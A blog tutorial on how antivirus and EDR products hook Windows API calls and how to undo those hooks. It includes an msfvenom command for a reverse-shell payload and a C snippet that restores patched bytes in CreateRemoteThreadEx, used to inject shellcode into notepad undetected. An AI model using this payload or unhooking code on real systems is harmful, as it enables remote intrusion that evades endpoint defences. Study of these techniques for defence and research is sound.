Introduction:
Hello all, in this blog I'll be talking about how AV and EDRs hook programs to detect malicious activity or raise suspicions and we'll try to bypass it.
What is Hooking?
Hooking is a function monitoring technique in which an AV/EDR redirects the function calls to it's own dll and then analyze what the calls are doing and decide whether the functions calls are being used for malicious purposes or not.
Hooking: Under The Hood
The AV/EDR products injects it own DLL in to the target process and modify/tamper the userland windows
api and changed the functions first bytes to make a jmp, what the jmp instruction will do is that it will
change the flow of the execution and jump to the DLL module that was injected by the AV/EDR from there
it will inspect and run checks on whether the call made to function is malicious or not, it does so by
examining the arguments that were called by those functions.
For this experiment I'll be using Shellcode-In-Memory Decoder injector tool from github, I have made some changes to the program to fit my needs for the purpose of this blog. If you want to learn how to use this tool kindly refer to my Bypass Defender (Simple Trick) blog
msfvenom using the following command:
msfvenom -a x64 --platform windows -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f py
Hooked Calls Vs Unhooked Calls
Hopefully the below images will make things a little clear on what hooking actually looks like. For this
blog I'll be using BitDefender total security (Trial version).
I'll be using x64dbg to examine the hooked functions.
The above image shows that the dll is injected by the AV
Hooked Functions:
The above image is the suspicious jmp instruction that is made to the AV module.
Unhooked Functions:
This is the same functions but without hook.
Let's get in to the fun stuff, I am going to be bypassing these hooks and injecting shellcode and
try to receive a call back on metasploit.
Unhooking the Hooks:
Now usually the AV/EDR do not hook all the functions instead they hook the ones that are often used
for malicious purposes for eg. VirtualProtect, NtWriteVirtualMemory, NtOpenProcess etc. (I'll be writing
more about the windows api in another blog). So I'll identify the hooks in those that are commonly abused
functions and I am going to unhook that function restore to it's original bytes.
For eg. we saw in the above screenshot that NtOpenProcess was hooked I am going to restore those bytes
to the original one. Let's copy the original bytes of the function and paste in the hooked one:
Nice! in the above screenshot you can see that the function is restored to it's original bytes.
Now, In the program that I am using the following Windows Apis are being used:
1. OpenProcess
2. VirtualAllocEx
3. WriteProcessMemory
4. CreateRemoteThread
Now the thing is that these functions belong to the kernel32.dll module inside these functions are
ntdll.dll functions (Native Apis), we can say that kernel32 is a wrap around ntdll functions and what
the AV/EDRs do is that they hook win32 apis (Kernel32 functions) as well as Native Apis (ntdll functions)
which means is that I have to unhook the native apis as well and that involves NtOpenProcess,
NtWriteVirtualMemory, NtProtectVirtualMemory etc.
After unhooking all the functions that were hooked. Let's see if we receive a shell.
I injected the shellcode in the notepad process and received the shell without the AV detection :)
Patch:
To patch the AV functions I used GetModuleHandle to get the handle of the DLL and GetProcAddress
to get the function address from the DLL, I also used WriteProcessMemory to patch the functions to
the original bytes.
In the below example I have patched CreateRemoteThreadEx function. First we get the handle of the
kernelbase.dll using that handle we are going to get the address of CreateRemotThreadEx function
and store it in CRT_address and finally WriteProcessMemory will take that address and patch it with
the original bytes.
HANDLE kernalbase_handle = GetModuleHandle("kernelbase");
HANDLE ntdll_handle = GetModuleHandle("ntdll");
LPVOID CRT_address = GetProcAddress(kernalbase_handle, "CreateRemoteThreadEx");
if (WriteProcessMemory(GetCurrentProcess(), CRT_address, "\x4C\x8B\xDC\x53\x56", 5 , NULL)){
printf("[+] CreateRemoteThreadEx unhooking done!\n");
}
Conclusion:
Hooking is an interesting concept and it has been around for quite sometime. There are protections to
stop the patching but hackers have always found new ways to bypass protection. It's a cat and mouse
chase. The defenders are going to patch, update and try to fix everything while an attacker will always find new
ways to attack.
